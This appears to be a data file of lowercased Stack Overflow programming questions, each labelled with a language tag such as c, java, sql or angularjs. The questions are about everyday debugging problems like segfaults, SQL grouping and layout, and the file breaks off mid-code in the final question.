c - segmentation fault on for loop using pointers & function  i ve got some trouble about a c function.     this is the function:   <pre><code>int* calcmeanpower(int media[]  int** meanpowerarray  int righe  int colonne) {   int i=0  k=0;   int arraypower[] = {0  0  0  0};    for (i=0; i&lt;righe; i++)   {     for (k=0; k&lt;colonne; k++)     {       arraypower[k] = arraypower[k] + meanpowerarray[i][k]  ;     }   }    for (k=0; k&lt;colonne; k++)   {     media[k] = (arraypower[k]/righe);   }    return media; } </code></pre>   this is how i call the function from the main:    vettoremedia = calcmeanpower(vettoremedia  refmeanpower  num_mean  n);     where the variables are defined as follows:   <pre><code>int* refmeanpower[n]; int* vettoremedia; int n=4  num_mean=5; </code></pre>   when i try to run the program it returns me a segmentation fault while trying to do:   <pre><code> for (k=0; k&lt;colonne; k++)   {     media[k] = (arraypower[k]/righe);   } </code></pre>   could you please explain me what i m doing wrong  i ve searched through the net but i can t find the answer. this function is only a little piece of my c program  but i m sure it faults in this cycle!    please help..,c
access class methods from an instance in objective-c  given the following class    <pre><code>@interface mybaseclass : nsobject  -(void)printname +(nsstring*)printablename  @end </code></pre>   how can i call the class method <code>+printablename</code> from within the instance method <code>-printname</code> without explicitly referring to <code>mybaseclass</code>  <code>[[self class] printablename]</code> doesn t compile.    the idea is that subclasses will override <code>+printablename</code> so <code>-printname</code> should polymorphically invoke the appropriate <code>+printablename</code> for its class.,objective-c
what is the general consensus on user-error correction for web apps   i m building a ror site  and today i get the pagination done. upon showing it to my coworker  his first question is  what happens if you set the querystring to   page=-1 . it died with a runtime exception (error 500). he suggested that that should definitely be fixed before this site goes anywhere near live.    i happen to disagree with him (hear me out). now  i ve been in the web dev business for all of four months  so i very well could be wrong. but i would think that this isn t a big deal. i would think that  so long as said errors do not constitute a security risk  things like this shouldn t be a priority. the only way to cause this error is if you manually edit the query string  and  well  garbage in garbage out. if you re smart enough to know that you even <em>can</em> edit the querystring  you should be smart enough to not give it a negative number.    what is the general consensus on things like this  do you completely idiot proof the site  so that no matter what the query string is  you never generate an error  do you let things slide so long as it works the way it s supposed to (and doesn t expose a security risk)  somewhere in the middle      edit: somehow my question didn t really come out completely as i intended it. the crux of my question was  where to draw the line between proactively correcting for things versus not doing them. if there s invalid input in the get string  for instance  would it be better practice to display a tasteful error as suggested in the posted replies  or to try to figure out what the user was doing  and do that. or  as a more concrete example: if a user sets page=-1 in the get string  would it be better to silently assume they meant page=0  or to display some kind of tasteful error page saying somethign like  invalid page specified,html
argumentoutofrange exception  i m getting an argumentoutofrange exception whenever i try to run a dictionary editor i just made. so far i am just trying to check if a word the user enters is part of a list that is read in from a file  and the logic for the actual dictionary editor and the checking are in two separate files.     everything works fine until i push the button that starts the checking and the exception comes up when i call the constructor for the checking.    here is the code for the dictionary editor:   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.windows.forms; using spellchecker;  namespace dictionaryeditor { public partial class dictionaryeditor : form {      public dictionaryeditor()     {         initializecomponent();         this.paint += new painteventhandler(f_paint); //paints the title onto the form     }      //paint handler to make the title     static void f_paint(object sender  painteventargs e)     {      }      //override onpaint to make the title     protected override void onpaint(painteventargs e)     {         //call onpaint         base.onpaint(e);          //make graphics variable         graphics g = e.graphics;          // get the width of the form to make the title         int titlewidth = ((this.clientsize.width)/2)-100;          // get the font for the title         font titlefont = new font( arial   25);          g.drawstring( dictionary editor   titlefont  brushes.darkcyan  titlewidth  20);     }      private void exitbtn_click(object sender  eventargs e)     {         this.close();     }      private void spellcheckbtn_click(object sender  eventargs e)     {         spellcheck spelltest = new spellcheck();          string answer = spelltest.checkspelling(headwordtxt.text);          messagebox.show( the calculations are complete    my application           messageboxbuttons.ok  messageboxicon.asterisk);     }  } } </code></pre>   the exception happens on the first line in the spellcheckbtn event handler at this line    <pre><code>   spellcheck spelltest = new spellcheck(); </code></pre>   the constructor for this is found in this code in the spellcheck file   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.io; using system.reflection; using system.diagnostics;  namespace spellchecker { public class spellcheck {     private list&lt;string&gt; correctwords = new list&lt;string&gt;(); //list to hold words from the text file      public spellcheck()     {         string line;  //string to hold a line from the file          //make streamreader and put words into correctwords         using (streamreader reader = new streamreader( wordlist.txt ))         {             while ((line = reader.readline()) != null)             {                 correctwords.add(line);             }         }     }      public string checkspelling(string thestring)     {         int i = 0;            //counter for postion of correctwords          //loop to check all words         while (correctwords[i] != null)         {             if (thestring.equals(correctwords[i]))             {                 return  word   + thestring +   is spelled correctly.  +     assembly.getexecutingassembly().getname().name + assembly.getentryassembly().getname().version ;             }          }          return  invalid spelling ;     }    } } </code></pre>   i ve been stuck on this for a long while now  so any help would be appreciated.     here is the event handler for the button that would check the words in the dictionary editor   <pre><code> private void spellcheckbtn_click(object sender  eventargs e) {     spellcheck spelltest = new spellcheck();      string answer = spelltest.checkspelling(headwordtxt.text);      messagebox.show( the calculations are complete    my application       messageboxbuttons.ok  messageboxicon.asterisk); } </code></pre>   and here is the constructor for the spell check   <pre><code> public spellcheck()     {         string line;  //string to hold a line from the file          //make streamreader and put words into correctwords         using (streamreader reader = new streamreader( wordlist.txt ))         {             while ((line = reader.readline()) != null)             {                 correctwords.add(line);             }         }     } </code></pre>   when the exception is thrown this is at the top of the stack:   <pre><code>&gt;   dictionaryeditor.exe!dictionaryeditor.dictionaryeditor.spellcheckbtn_click(object sender      system.eventargs e) line 53   c# </code></pre>,c#
activerecord::recordinvalid (validation failed ...) on update_attributes  i have a leaseresident model which is nested by the lease model and also belongs to a resident model. i have a custom validation on the leaseresident model that is getting validated on create and update of the lease model. i believe i have the inverse_of in all the right places however i am getting this completed 422 unprocessable entity on the update_attributes call which stops the whole server:     <code>activerecord::recordinvalid (validation failed: resident * fourth user already has an active lease between march 20  2018 and march 20  2019):</code>    how do i get past this and get the correct validated error back to display to the user    <hr>  <pre><code>class lease &lt; applicationrecord   mount_uploader :lease_agreement  pdfuploader    belongs_to :unit    has_many :lease_residents  inverse_of: :lease  dependent: :destroy    accepts_nested_attributes_for :lease_residents  allow_destroy: true  reject_if: :all_blank end </code></pre>  <hr>  <pre><code>class leaseresident &lt; applicationrecord    belongs_to :lease  inverse_of: :lease_residents   belongs_to :resident  -&gt; { unscope where: :active }  foreign_key: :user_id  inverse_of: :lease_residents    validates :lease  :resident  presence: true    validate :only_one_lease_per_resident_per_unit_in_date_range    private    def only_one_lease_per_resident_per_unit_in_date_range     unit = self.lease.unit     starts = self.lease.lease_start_date     ends = self.lease.lease_end_date     resident = self.resident      resident.leases.each do |lease|         if unit == lease.unit &amp;&amp; (starts..ends).overlaps (lease.lease_start_date..lease.lease_end_date)         errors.add(:resident   * #{resident.fullname} already has an active lease between #{starts.strftime( %b %e  %y )} and #{ends.strftime( %b %e  %y )} )       end     end   end  end </code></pre>  <hr>  <pre><code>class resident &lt; user     belongs_to :unit    has_many :lease_residents  foreign_key: :user_id  dependent: :destroy  inverse_of: :resident end </code></pre>  <hr>  <pre><code>class leasescontroller &lt; basecontroller   def create     @lease = lease.create lease_params     if @lease.save       @leases = lease.current_and_upcoming_leases       flash[:notice] =  lease has been added successfully.      else       @units = unit.sort_by_number       @residents = @lease.unit.residents       render  errors.js.erb      end   end    def update     @lease = lease.find params[:id]     if @lease.update_attributes lease_params       flash[:notice] =  lease have been updated successfully.      else       @units = unit.sort_by_number       @residents = @lease.unit.residents       render  errors.js.erb      end   end end </code></pre>,ruby-on-rails
access storyboard progress bar in another view  i have a storyboard view controller with some labels and a progress bar.    in my view  i load the storyboard view with:   <pre><code>uistoryboard *storyboard = [uistoryboard storyboardwithname:@ storyboard  bundle:[nsbundle mainbundle]]; geodatebaseloadingviewcontroller *geodatabaseloading = [storyboard instantiateviewcontrollerwithidentifier:@ geodatabaseloading ]; [self.view addsubview:geodatabaseloading.view]; </code></pre>   edit: i linked the progress bar to the geodatabaseloading class  and access it with <code>geodatabaseloading.progressbar</code>    am i doing this right     thanks,ios
interaction with google voice recognition in iphone  possible   plz  go through my previous question  <hr> <a href= https://stackoverflow.com/questions/1240152/voice-recognition-in-iphone >voice recognition in iphone </a>   <hr>   ok now my current question is as below.    it seems very hard to build my own voice recognition code - in iphone.    is it possible to use google s voice recognition in our software     like when user wants to search a student by voice =>voice is recorded &amp; searched by google =>&amp; it respond to my application     ok. i understand my question is quite confusing. however plz leave comment for me for correction.    thanks in advance for helping me out.,iphone
python: how can i take a list of lists  convert every element into strings  and return the list of lists   for example:   <pre><code>list = [[11 2 3 5] [5 3 74 1 90]] </code></pre>   returns the same thing  only everything is a str instead of an int. i want to be able to use .join on them. thanks!,python
code with getinputstream() was compatible with java 1.6  but is anymore with 1.7  i have a piece of software which establishes a communication between a pc and a machine  which used to work in java 1.6  but doesn t anymore in 1.7. the ioexception -->  invalid http response  is what i get as soon as the getinputstream() method is called. it seems like the method had been improved an is much more sensitive  meaning that responsecode= -1 result is not specifically checked in java 1.6.    assited with wireshark i checked if both versions (1.6 &amp; 1.7) sent and received same ethernet frames  and so did both.    i can only resolve this from the pc (client) side...that means no posibility to edit or change the server code.    i would apreciate any help on how to modify or implement something new to make the code compatible for ver. 1.7 as im not a former programmer... thanks    <strong>sequence:</strong>   <ol> <li>get is called</li> <li>return readresponse(..) is called</li> <li>getinputstream() --> ioexception</li> <li>catch (exception e) {system.out.println( error sending get request   + geturl() +   string:   + requeststring); return error.ethernetexception; //todo</li> </ol>   <strong>here the console output:</strong>    -1 error sending get request ... string: *appletcomminfo_ strresponse: ethernet exception    <strong>and the code:</strong>   <pre><code>private string get(string requeststring)/* throws comunicationexception*/ {     httpurlconnection httpurlconnection = null;     outputstream out = null;              try {            string encodedrequeststring = urlencoder.encode(requeststring   iso-8859-1 );         string path = geturl().getpath();         if (!path.endswith( / )) path = path +  / ;         path = path + encodedrequeststring;         url fullurl = new url(geturl().getprotocol()  geturl().gethost()  geturl().getport()  path);         httpurlconnection = (httpurlconnection)fullurl.openconnection();         httpurlconnection.setrequestmethod( get );         httpurlconnection.setdooutput(false);         httpurlconnection.setdoinput(true);         httpurlconnection.setusecaches(false);          // set timeout at 5s         httpurlconnection.setconnecttimeout(m_ntimeout);         httpurlconnection.setreadtimeout(m_ntimeout);          return readresponse(httpurlconnection);      } catch (exception e) {         system.out.println( error sending get request   + geturl() +   string:   + requeststring);         return error.ethernetexception; //todo     } finally {         if (out != null) {             try {                 out.close();             } catch (throwable t) {                 system.out.println( get: out.close()  class: client );             }         }          if (httpurlconnection != null) {             try {                 httpurlconnection.disconnect();             } catch (throwable t) {                 system.out.println( get: httpurlconnection.disconnect()  class: client );             }         }     }        }  /**  * reads the response from the server into a string.  * the content length header must be set!  * @param connection  * @return  * @throws ioexception  */ private string readresponse(httpurlconnection connection) throws ioexception {     if (connection == null) throw new illegalstateexception( connection must not be null );       connection.connect();      int status = connection.getresponsecode();     system.out.println(status);      // inputstream aaa = connection.getinputstream();       reader reader = null;     try {                    reader = new inputstreamreader(connection.getinputstream()   iso-8859-1 );          int readbuffersize = connection.getcontentlength();         if (readbuffersize &lt; 0) {             // use default buffer size             readbuffersize = default_read_buffer_size;         }          // if content length was set  read will be done in a single          // iteration because buffer fits...          stringbuffer response = new stringbuffer();         char[] readbuffer = new char[readbuffersize];         int len;         while ((len = reader.read(readbuffer)) &gt; 0) {             response.append(new string(readbuffer  0  len));                             }         return response.tostring();        } catch (ioexception ioe) {         throw ioe;           } finally {         if (reader != null) {             try {                 reader.close();             } catch (throwable t) {                 system.out.println( readresponse: reader.close()  class: client );                 //log             }         }     } }  /**  *   * @return the url  */ public url geturl() {     return url; } </code></pre>   },java
css styles - how does overriding background work   there s a pile of questions with related sounding titles  but i didn t see my answer for this question in case anyone is checking (feel free to leave a reference though!).    this is more out of inexperience than anything... but if i have a global stylesheet that sets the css properties of a class <code>div.rowpic</code>  and then i do this:   <pre><code>&lt;div class= rowpic  style= background-image: url( whatever.jpg ); &gt; ... &lt;/div&gt; </code></pre>   can i reliably expect browsers to use the full css specification of <code>div.rowpic</code> but replace its background image with the style i explicitly stated in this div tag,css
sql join query with groupby  i have two tables say t1 and t2  one(t1) which store amount to be paid(ap)  primary key id and person id (pid).    other table(t2) store amount which is paid(pay)  this can be multiple as multiple payments can be made for a ap  also stores foreign key of t1 id  and type.    now what i want is sum(ap) from t1 and sum(pay) groupby type.    the query i made for it (not the exact query  but explains well what i am trying)   <pre><code>select sum(ap) from t1  where pid= someid  join left t2 on t1.id = t2.id   select pay and type from t2  groupby type </code></pre>   explanation   <pre><code>t1                t2  id   ap            id pay type  19   x             19 w  a 20   y             19 q  b 21   z             21 r  b                    21 s  b </code></pre>   now what is happening  when it group by type  it takes 19 21 21 as b together  and with that it gives me sum from t1 as twice z + x   also for a  it is taking a and return sum as x    i receive data in format   <pre><code>1. ap:x  pay:w  type: a 2. ap: x+z+z  pay:q+r+s type b </code></pre>   what i required was sum from t1 and sum from t2(based on id s from t1) group by type     i solved this using two different queries one for each  but not able to do in single query  it might be complex i know but wanted if possible.    hope i tried to make question clear enough.,sql
how can i build this layout with angularjs   i m using a <code>ng-repeater</code> to list items on my page. the issue is that sometimes i need special html containers around two items and sometimes i don t. here s the result i need for a 6 item repeater (pseudo output):   <pre><code>&lt;section class= ab &gt;     &lt;group class= a &gt;         &lt;item&gt;item 1&lt;/item&gt;     &lt;/group&gt;     &lt;group class= b &gt;         &lt;item&gt;item 2&lt;/item&gt;         &lt;item&gt;item 3&lt;/item&gt;     &lt;/group&gt; &lt;/section&gt; &lt;section class= ba &gt;     &lt;group class= b &gt;         &lt;item&gt;item 4&lt;/item&gt;         &lt;item&gt;item 5&lt;/item&gt;     &lt;/group&gt;     &lt;group class= a &gt;         &lt;item&gt;item 6&lt;/item&gt;     &lt;/group&gt; &lt;/section&gt; </code></pre>   <strong>here are the rules i m having to follow:</strong>   <ul> <li>the <code>&lt;section&gt;</code> class refers to the layout of the groups inside</li> <li>group a always only ever has one item</li> <li>group b likes to have two items but can deal with one in case i run out of items</li> </ul>   from the research of i ve done on the web i think i need a custom directive. how can i get my current setup by using a repeater  or do i need something else    <h1>edit</h1>   here s what the actual finished product will need to look like. again  this is an example for 6 items  but it s dynamic so there could be 100+.   <pre><code>&lt;div class= coupon-grid &gt;     &lt;div class= ls &gt;         &lt;div class= row &gt;             &lt;div class= large col col-50 &gt;                 &lt;div class= coupon &gt;                     &lt;div class= bg  style= background:url(../img/img1.png) no-repeat; background-size:cover; background-position: center center; &gt;&lt;/div&gt;                     &lt;div class= mask purple &gt;&lt;/div&gt;                     &lt;div class= content &gt;                         &lt;div class= logo &gt;                             &lt;img src= ../img/brand1.png  alt=   /&gt;                         &lt;/div&gt;                         &lt;p class= miles &gt;2.1 miles&lt;/p&gt;                         &lt;p class= num-coupons &gt;3 coupons&lt;/p&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div class= col col-50 &gt;                 &lt;div class= small row &gt;                     &lt;div class= coupon &gt;                         &lt;div class= bg  style= background:url(../img/img2.png) no-repeat; background-size:cover; background-position:center center; &gt;&lt;/div&gt;                         &lt;div class= mask green &gt;&lt;/div&gt;                         &lt;div class= content &gt;                             &lt;div class= logo &gt;                                 &lt;img src= ../img/brand1.png  alt=   /&gt;                             &lt;/div&gt;                             &lt;p class= miles &gt;2.1 miles&lt;/p&gt;                             &lt;p class= num-coupons &gt;3 coupons&lt;/p&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= small row &gt;                     &lt;div class= coupon &gt;                         &lt;div class= bg  style= background:url(../img/img3.png) no-repeat; background-size:cover; background-position:center center; &gt;&lt;/div&gt;                         &lt;div class= mask orange &gt;&lt;/div&gt;                         &lt;div class= content &gt;                             &lt;div class= logo &gt;                                 &lt;img src= ../img/brand1.png  alt=   /&gt;                             &lt;/div&gt;                             &lt;p class= miles &gt;2.1 miles&lt;/p&gt;                             &lt;p class= num-coupons &gt;3 coupons&lt;/p&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= sl &gt;         &lt;div class= row &gt;             &lt;div class= col col-50 &gt;                 &lt;div class= small row &gt;                     &lt;div class= coupon &gt;                         &lt;div class= bg  style= background:url(../img/img2.png) no-repeat; background-size:cover; background-position:center center; &gt;&lt;/div&gt;                         &lt;div class= mask green &gt;&lt;/div&gt;                         &lt;div class= content &gt;                             &lt;div class= logo &gt;                                 &lt;img src= ../img/brand1.png  alt=   /&gt;                             &lt;/div&gt;                             &lt;p class= miles &gt;2.1 miles&lt;/p&gt;                             &lt;p class= num-coupons &gt;3 coupons&lt;/p&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= small row &gt;                     &lt;div class= coupon &gt;                         &lt;div class= bg  style= background:url(../img/img3.png) no-repeat; background-size:cover; background-position:center center; &gt;&lt;/div&gt;                         &lt;div class= mask orange &gt;&lt;/div&gt;                         &lt;div class= content &gt;                             &lt;div class= logo &gt;                                 &lt;img src= ../img/brand1.png  alt=   /&gt;                             &lt;/div&gt;                             &lt;p class= miles &gt;2.1 miles&lt;/p&gt;                             &lt;p class= num-coupons &gt;3 coupons&lt;/p&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div class= large col col-50 &gt;                 &lt;div class= coupon &gt;                     &lt;div class= bg  style= background:url(../img/img1.png) no-repeat; background-size:cover; background-position: center center; &gt;&lt;/div&gt;                     &lt;div class= mask purple &gt;&lt;/div&gt;                     &lt;div class= content &gt;                         &lt;div class= logo &gt;                             &lt;img src= ../img/brand1.png  alt=   /&gt;                         &lt;/div&gt;                         &lt;p class= miles &gt;2.1 miles&lt;/p&gt;                         &lt;p class= num-coupons &gt;3 coupons&lt;/p&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,angularjs
sum values based on groupid  please consider the following table <code>data</code>   <pre><code>#id    groupid    value ------------------------   1    100        -22.50   2    100        -10.00   3    130         15.00   4    140        -11.25   5    130        -10.00   6    210          5.75 </code></pre>   i need the sum per <code>groupid</code> added as an additional column  as follows:   <pre><code>#id    groupid    value     groupsum ------------------------------------   1    100        -22.50      -32.50   2    100        -10.00      -32.50   3    130         15.00        5.00   4    140        -11.25      -11.25   5    130        -10.00        5.00   6    210          5.75        5.75 </code></pre>   if i wanted just to sum per <code>groupid</code>  i could do a <code>group by</code> on <code>groupid</code> and a <code>sum</code> on <code>value</code>  resulting in   <pre><code>groupid    groupsum ------------------- 100        -32.50 130          5.00 140        -11.25 210          5.75 </code></pre>   but this is explicitly not what i need  and i don t know how to start to have a query which select the whole table  but then in the output has the <code>sum</code> of the group after added to each record.    any help would be greatly appreciated.,sql
converting an array into an integer  is there a way to convert an array to an integer  i have the follow method but it does not seem to work:   <pre><code>int8_t x_array[18] = {0 1 1 0 1 0 1 0 1 0 1 0 0 0 0 0 1 1}; int32_t numb;  for (int8_t j=0;j&lt;19;j++) {    numb = numb + pow(2  i)*x_array[i]; } </code></pre>   is there a reason for this      <strong>ps:</strong> this is a follow up question from a previous question i had posted <a href= https://stackoverflow.com/questions/12122100/joining-outputs-from-switches >joining outputs from switches</a><a href= https://stackoverflow.com/questions/12122100/joining-outputs-from-switches ></a> i have edited the question to say why the method suggested is not working.    in essence what i am trying to do is create a program  in  rapidilitte which is a simulator software   to sample a ps input (proximity sensor system) every millisecond which is 18-bit digital input. the input is represented  by toggle switches 0-17(18-bits) which is located on port 2. the input need to be normalised between 0-9999)     the main problem is that( which i have mentioned in the previous posted question) i can only access one pin at a time and not the read the whole port at once. i have tried many ways to read the pins and combine them into one variable convert it to a natural number and then normalise the input. in the end i believe the best way to do this is to put the each pins reading into a <code>array[18]</code> and then covert this into a variable and then normalise it.,c
strange try/catch instructions  i found these instructions on the web  inside a code of a game. however  i don t understand how it works.   <pre><code>start = system.nanotime(); elapsed = system.nanotime() - start;         wait = (100/60) - (elapsed / 1000000);          if(wait &lt; 0)         {             wait = 4;         }          try         {             thread.sleep(wait);         }           catch (interruptedexception e)         {             e.printstacktrace();         } </code></pre>   i know that <code>thread.sleep(wait)</code> makes the thread waiting the amount <code>wait</code> in ms before starting. but in this case  why bother with all these instructions  i tried putting <code>thread.sleep(0)</code>  and the speed of the game was like 20times faster (all objects moving way too fast).    how does these instructions work     thanks in advance.,java
how jvm use operating system when creation of thread   here i try to learn java thread clearlly.. on which process jvm create the thread. suppose if i create a thread in java then how jvm create this thread  to whom it will send to exicute .. which one is the base process for this...,java
what is the persistent c++ system   plz send me the answer of the following question.    what is the persistent c++ system,c++
insert image in center of table  i wonder if anyone can help me. i just started working with css and was looking to replicated one of the pages of a newsletter i saw. my main problem is that i can t seem to be able to insert the arrow image made with lots of people into the center of the page.    i have used lots of tables and inserting the image in a row breaks the page. would really appreciate your help.    here s my code:   <pre><code>&lt;html&gt; &lt;head&gt;&lt;/head&gt; &lt;body&gt;   &lt;table style= border: 1px solid #223e86;  border= 0  width= 600  align= center  cellpadding= 0  cellspacing= 0 &gt;    &lt;tr&gt;   ---------------------insert image in the center of one column row------------------   &lt;/tr&gt;  &lt;tr&gt;   &lt;td style= padding-left: 12px; font-family: verdana geneva sans-serif; font-size: 13px; &gt;  lot is proud to be launching &lt;i&gt;lot careers&lt;/i&gt;. this tailor-made online portal will provide members and trainees with free access to browse and apply for the largest single source of lot  jobs worldwide. &lt;p /&gt; as an lot member you will be able to search job vacancies relevant to your qualification  geographical location and sector. the site will also offer comprehensive guidance  advice and developments in the financial recruitment process and with your career management.&lt;/td&gt;  &lt;td&gt; &lt;h2 style= font-family: verdana geneva sans-serif; font-size: 20px; text-transform:uppercase; color: #b00000; font-weight:bold; &gt;features:&lt;/h2&gt; &lt;pre style= font-family: verdana geneva sans-serif; font-size: 13px; &gt; * expert careers content (news  videos     articles  advice and information)  * find out about the recruitment market    in a destination of your choice * search vacancies by job title  skills    required  region or lot status * sign up to receive tailored email alerts   when relevant jobs are posted * upload and store your cv * apply for jobs with one click * debate the latest topics in the    think tank with other professionals    in the industry &lt;/pre&gt;&lt;/td&gt;  &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;  &amp;nbsp;      &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;   &lt;td style= padding-left: 12px; font-family: verdana geneva sans-serif; font-size: 13px; &gt;  &lt;i&gt;lot careers&lt;/i&gt; will also provide access to thousands of lot qualified jobseekers for any organisation looking for the best new talent.   &lt;/td&gt;    &lt;td style= padding-right: 12px; font-family: verdana geneva sans-serif; font-size: 11px; text-transform:uppercase; color: #b00000; font-weight:bold; &gt;  pre-register today at www.oursite.com  whether you’re interested in making your next career move  or want to recruit your next employee   &lt;/td&gt; &lt;/tr&gt;       &lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;!--third one--&gt;  &lt;tr&gt; &lt;td&gt;    &lt;/td&gt; &lt;/tr&gt; &lt;!-- &lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;!--forth one--&gt; &lt;td colspan= 7 &gt;   &lt;table border= 0  width= 200  align= center  cellpadding= 0  cellspacing= 0 &gt; &lt;tr&gt;  &lt;/tr&gt;  &lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;img style= border:1px solid #021a40;  src= memberslogo-web-images/mp_finance_220110_opt.gif  alt= smiley face   /&gt; &lt;/td&gt;  &lt;td&gt;   &lt;img style= border:1px solid #021a40;  src= memberslogo-web-images/rms_opt.jpeg  alt= smiley face   /&gt; &lt;/td&gt; &lt;td&gt;     &lt;img style= border:1px solid #021a40;  src= memberslogo-web-images/bbc-120x60_opt.jpeg  alt= smiley face   /&gt; &lt;/td&gt; &lt;td&gt;   &lt;img style= border:1px solid #021a40;  src= memberslogo-web-images/statestreet_opt.jpeg  alt= smiley face   /&gt; &lt;/td&gt;  &lt;td&gt;    &lt;img style= border:1px solid #021a40;  src= memberslogo-web-images/logo_opt.jpeg  alt= smiley face   /&gt; &lt;/td&gt;  &lt;/tr&gt; &lt;/table&gt; &lt;!--footer--&gt;  &lt;table&gt; &lt;tr&gt; &lt;td width= 600  bgcolor= #828279  colspan= 7  style= padding-left: 15px; padding-right: 15px; padding-top: 15px; padding-bottom: 15px  align= center &gt; &lt;p&gt;&lt;span style= font-family: verdana geneva sans-serif; color:#ffffff; font-size: 23px; &gt; pre-register today at &lt;a style= text-decoration:none  href=  &gt;www.oursite.com&lt;/a&gt;  &lt;/span&gt;&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/table&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   here s the image i want to insert in that column: <a href= http://i.stack.imgur.com/dvq7f.jpg  rel= nofollow >http://i.stack.imgur.com/dvq7f.jpg</a>,html
good practice in calling accessor methods   please forgive me if this question is stupid...i am a newbie when it comes to programming. one thing that i am confused is whether or not i should instantiate a new variable everytime i call a method which gets some value or keep a local copy and update that.     to illustrate  suppose i have a robot navigating a maze. the robot driver operates the robot and must get the robot s coordinates to perform some action such as sensing obstacles.   <pre><code>public class robodriver {    public void senseobstacle() {      int[] position = robot.getposition();      ...    } }  public class robodriver {    int[] robotpositioncopy;    public void senseobstacle() {      this.robotpositioncopy = robot.getposition();      ...    } } </code></pre>   the position coordinates are always up to date in the robot object. so if i want to get the updated position  which of these two examples is better and why  or does it not make much of a difference,java
python question relating to dated values in a csv file  i am loading a data file with dated data into a csv.dictreader    the data looks like this:   <pre><code>date    weight  blood_pressure  sugar_level 1/1/01  120.1   100.1           25.2 2/1/01  130.1   102.1           26.2 3/1/01  110.1   120.1           24.2 4/1/01  130.1   130.1           28.2 5/1/01  160.1   104.1           27.0 6/1/01  150.5   100.1           22.5 7/1/01  120.2   129.1           25.2 ... etc...    </code></pre>   i want to write a function that allows me to pass in the dictionary (read from the csv file)  and return the previous value of a column an epoch ago. since there are no enumerations in python  i will use enums to  constrain  the permissible epochs and column names:    the code snippet i have so far looks something like this:   <pre><code>import csv;  headers = [ date    weight    blood_pressure    sugar_level ] data = csv.dictreader(csvfile  headers);  epoch_type   = (week_ago  fortnight_ago  month_ago); column_names = headers[1:];  def function get_previous_value(data  column_name  epoch_name):       note: data is assumed to be sorted in date ascending order            returns the previous value in the data  using the specified           column name and epoch type                                      </code></pre>   i would be grateful if someone could show how to implement this function    <strong>[edit]</strong> changed argument name from  lookback  to  epoch_name  to aid clarity,python
check if named form input is disabled using formcontroller  is it possible to check if a named form input on a formcontroller scope is disabled.    inspecting the available methods and properties i can t seem to find anything.    <code>$scope.formname.input_name</code> has various properties for $valid  $submitted  $setdirty() etc. but nothing that appears to indicate if the input is currently disabled. would be great if it has something like <code>$scope.formname.input_name.$isdisabled</code> etc.,angularjs
how to add text view and image view on different views  i have added view controllers according to my array count and set the content size of the horizontal scroll view.now i want some text to be displayed on each view. for this i have taken a for loop but i m not able to add text views over the views.  this is my code:   <pre><code>   -(void)loadscrollview  {      scrollview.contentsize = cgsizemake(0  scrollview.frame.size.height);      nsmutablearray *controllers = [[nsmutablearray alloc] init];      for (unsigned i = 0; i &lt; [_arrurllinks count]; i++) {          [controllers addobject:[nsnull null]];      }    //   myviewcontroller1 *controller;      self.viewcontrollers = controllers;     // self.viewcontrollers =_txtview;     count=1;       // a page is the width of the scroll view      scrollview.pagingenabled = yes;      scrollview.contentsize = cgsizemake(scrollview.frame.size.width * [_arrurllinks count]  scrollview.frame.size.height);      scrollview.showshorizontalscrollindicator =yes;      scrollview.showsverticalscrollindicator = no;      scrollview.scrollstotop = no;      scrollview.delegate = self;       pagecontrol.numberofpages = [_arrurllinks count];      pagecontrol.currentpage = 0;  }      - (void)loadscrollviewwithpage:(int)page {      if (page &lt; 0) return;      if (page &gt;= [_arrurllinks count])          return;       controller = [viewcontrollers objectatindex:page];      if ((nsnull *)controller == [nsnull null]) {          nsstring *devicetype = [uidevice currentdevice].model;          if([devicetype isequaltostring:@ iphone ])          {              controller = [[myviewcontroller1 alloc] initwithnibname:@ myviewcontroller1  bundle:nil];          }          else{             controller = [[myviewcontroller1 alloc] initwithnibname:@ myviewcontroller1_ipad  bundle:nil];          }          [controller initwithpagenumber: page];            nslog(@ loadscrollviewwithpage );          [viewcontrollers replaceobjectatindex:page withobject:controller];       }      // add the controller s view to the scroll view      if (nil == controller.view.superview) {          cgrect frame = scrollview.frame;          frame.origin.x = frame.size.width * page;          frame.origin.y = 0;          controller.view.frame = frame;                 nslog(@ 111111%@  resultdicarray);               nslog(@ 0000000%@  body);           nslog(@ header======.&gt;&gt;&gt;&gt;..%@  headerstr);                 }             [scrollview addsubview:controller.view];        [self downloaddata:page];   }  - (void)unloadscrollviewwithpage:(int)page {       if (page &lt; 0) return;       if (page &gt;= [_arrurllinks count]) return;        controller = [viewcontrollers objectatindex:page];         if ((nsnull *)controller != [nsnull null]) {           if (nil != controller.view.superview)               [controller.view removefromsuperview];             [viewcontrollers replaceobjectatindex:page withobject:[nsnull null]];           nslog(@ unloadscrollviewwithpage );         }   }     - (void)scrollviewdidscroll:(uiscrollview *)sender {       if (pagecontrolused) {            return;       }         cgfloat pagewidth = scrollview.frame.size.width;       int page = floor((scrollview.contentoffset.x - pagewidth / 2) / pagewidth) + 1;       pagecontrol.currentpage = page;       [self unloadscrollviewwithpage:page - 2];       [self loadscrollviewwithpage:page - 1];       [self loadscrollviewwithpage:page];       [self loadscrollviewwithpage:page + 1];       [self unloadscrollviewwithpage:page + 2];       count=page+1;        // [self newcounttitleset];   }       - (void)viewdidload  {       [super viewdidload];      [self loadscrollview];       [self 